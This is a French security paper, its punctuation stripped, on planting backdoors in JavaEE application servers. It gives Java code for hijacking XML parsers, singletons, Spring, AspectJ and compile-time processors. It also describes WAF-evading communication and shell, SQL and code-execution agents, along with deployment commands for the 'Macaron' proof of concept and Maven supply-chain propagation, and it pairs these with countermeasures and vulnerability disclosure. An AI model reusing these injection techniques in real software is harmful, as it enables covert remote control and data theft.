Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus
Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes
P Prados 399
Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise
Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves
Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase
si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege
Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory
Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework
Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse
Le code suivant est un extrait de cette implementation
public class SAXParserFactory extends javaxxmlparsersSAXParserFactory
private final
javaxxmlparsersSAXParserFactory next_
protected void hookParse(XMLReader reader
InputSource input)
throws IOException SAXException
Inject code here
readerparse(input)
public SAXParserFactory ()
next_ = nextServices(
400 Porte derobee dans les serveurs drsquoapplications JavaEE
javaxxmlparsersSAXParserFactory
comsunorgapachexerces+
internaljaxpSAXParserFactoryImpl)
public final SAXParser newSAXParser ()
throws ParserConfigurationException SAXException
return new SAXParser ()
private final SAXParser _next=
next_newSAXParser ()
public final XMLReader getXMLReader ()
throws SAXException
return new XMLReader ()
private XMLReader next_=_nextgetXMLReader ()
public final void parse(InputSource input)
throws IOException SAXException
hookParse(next_ input)
Delegate methods
public ContentHandler getContentHandler ()
return next_getContentHandler (
Delegate methods
public final boolean equals(Object obj)
return _nextequals (
Delegate methods
public final boolean equals(Object obj)
return next_equals (
La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion
P Prados 401
Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat
La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x
Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins
Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface
Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc
Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique
interface Singleton
class TheSingleton implements Singleton
private static Singleton _singleton=
new TheSingleton ()
402 Porte derobee dans les serveurs drsquoapplications JavaEE
public static Singleton getSingleton ()
return _singleton
Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee
public static void hackSingleton(
La classe drsquoacclsquoes
final Class ltgt singletonClass
Lrsquoattribut priv rsquoe
final String singletonField
Lrsquointerface du singleton
final Class ltgt singletonInterface
Lrsquoinstance courante
final Object singleton)
throws NoSuchFieldException IllegalAccessException
final Field field=
singletonClassgetDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(null
ProxynewProxyInstance(
singletonInterfacegetClassLoader ()
new Class[] singletonInterface
new InvocationHandler ()
public Object invoke(Object self
Method method
Object [] args)
throws Throwable
Inject code here
return methodinvoke(singleton args)
))
Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton
hackSingleton(
La classe drsquoacclsquoes
TheSingletonclass
Lrsquoattribut statique privrsquoe
_singleton
Lrsquointerface du singleton
Singletonclass
Le singleton courant
SingletonImpgetSingleton ())
P Prados 403
Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive
Parfois les singletons nrsquoimplementent pas drsquointerfaces
public class Singleton
private static Singleton theSingleton=new Singleton ()
public static Singleton getSingleton ()
return _singleton
En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton
public static void hackCGLibSingleton(
final Object singleton
String singletonField)
throws NoSuchFieldException IllegalAccessException
Field field = singletongetClass ()
getDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(
null Enhancercreate(singletongetClass ()
new MethodInterceptor ()
public Object intercept(Object obj
Method method
Object [] args
MethodProxy proxy)
throws javalangThrowable
Inject code here
return proxyinvoke(singleton args)
))
hackCGLibSingleton(SingletongetSingleton () _singleton)
Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2
Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton
Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement
404 Porte derobee dans les serveurs drsquoapplications JavaEE
drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque
Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets
Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP
Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP
Component
Aspect
public static class AspectSpring
Around(execution(public orgspringframeworkwebservletModelAndView
(javaxservlethttpHttpServletRequest
javaxservlethttpHttpServletResponse)))
public Object mvc(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee
De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP
Component(RegisterInterceptorRegisterInterceptorName)
public class RegisterInterceptor
extends BeanNameAutoProxyCreator
Component(BackDoorInterceptorInterceptorName)
static public class BackDoorInterceptor
implements MethodInterceptor
private static final
4 httpcodegooglecompgoogle-singleton-detector
P Prados 405
String InterceptorName=Interceptor
public Object invoke(MethodInvocation i)
throws Throwable
final Method method=igetMethod ()
final Type[] args=
methodgetGenericParameterTypes ()
if ((argslength ==2) ampamp
(args [0]== HttpServletRequestclass) ampamp
(args [1]== HttpServletResponseclass))
Inject code here
return iproceed ()
private static final
String RegisterInterceptorName=registerInterceptor
public RegisterInterceptor ()
setBeanNames(new String [])
setInterceptorNames(
new String []
BackDoorInterceptorInterceptorName )
Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml
ltcontextcomponent -scan base -package=comgooglecodemacaron gt
Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(
HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package
specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt
A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela
Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation
406 Porte derobee dans les serveurs drsquoapplications JavaEE
par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM
java -javaagentaspectjweaverjar
Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP
Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes
Aspect
public static class BackDoorAspect
Around(execution(void doGet ()) +
|| execution(void doPost ()) +
|| execution(void service ()) +
|| execution(void _jspService ()))
public void backdoor(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee
Il nrsquoexiste pas de technologie pour bloquer cette attaque
Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations
ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-
tiquement comme srsquoil etait present dans le fichier webxml
P Prados 407
Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5
utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci
Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml
Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors
lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo
Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires
Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class
SupportedAnnotationTypes()
SupportedSourceVersion(SourceVersionRELEASE_6)
public class Processor extends AbstractProcessor
private static boolean onetime=false
public boolean process(
Set lt extends TypeElement gt annotations
RoundEnvironment rndEnv)
Filer filer = processingEnvgetFiler ()
Messager messager = processingEnvgetMessager ()
Elements eltUtils =
processingEnvgetElementUtils ()
if ( rndEnvprocessingOver () ampamp onetime)
onetime=true
try
final String filterClass=
Filter3classgetName ()
5 httptinyurlcomc9dzao
408 Porte derobee dans les serveurs drsquoapplications JavaEE
JavaFileObject jfo=
filercreateClassFile(filterClass)
InputStream in=
FilterclassgetClassLoader ()
getResourceAsStream(
filterClassreplaceAll()+class)
OutputStream out=jfoopenOutputStream ()
final byte[] tampon=new byte [4096]
int len
while ((len = inread(tampon)) gt 0)
outwrite(tampon 0 len)
outclose()
inclose ()
catch (Throwable x)
Ignore
return true
Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires
Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet
Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce
Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation
Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau
25 Detection de lrsquoouverture de la porte
Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement
P Prados 409
Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter
26 Communication discrete
Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo
Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)
Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre
taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes
en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise
une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres
La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)
Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ
La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte
derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML
Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs
6 httpfrwikipediaorgwikiLeet_speak
410 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 6 Communication de la porte derobee
Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier
La grammaire des trames est la suivante
ltM4c4r0n gtlta|bgtltdata gt
Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la
clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)
Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee
La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour
Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
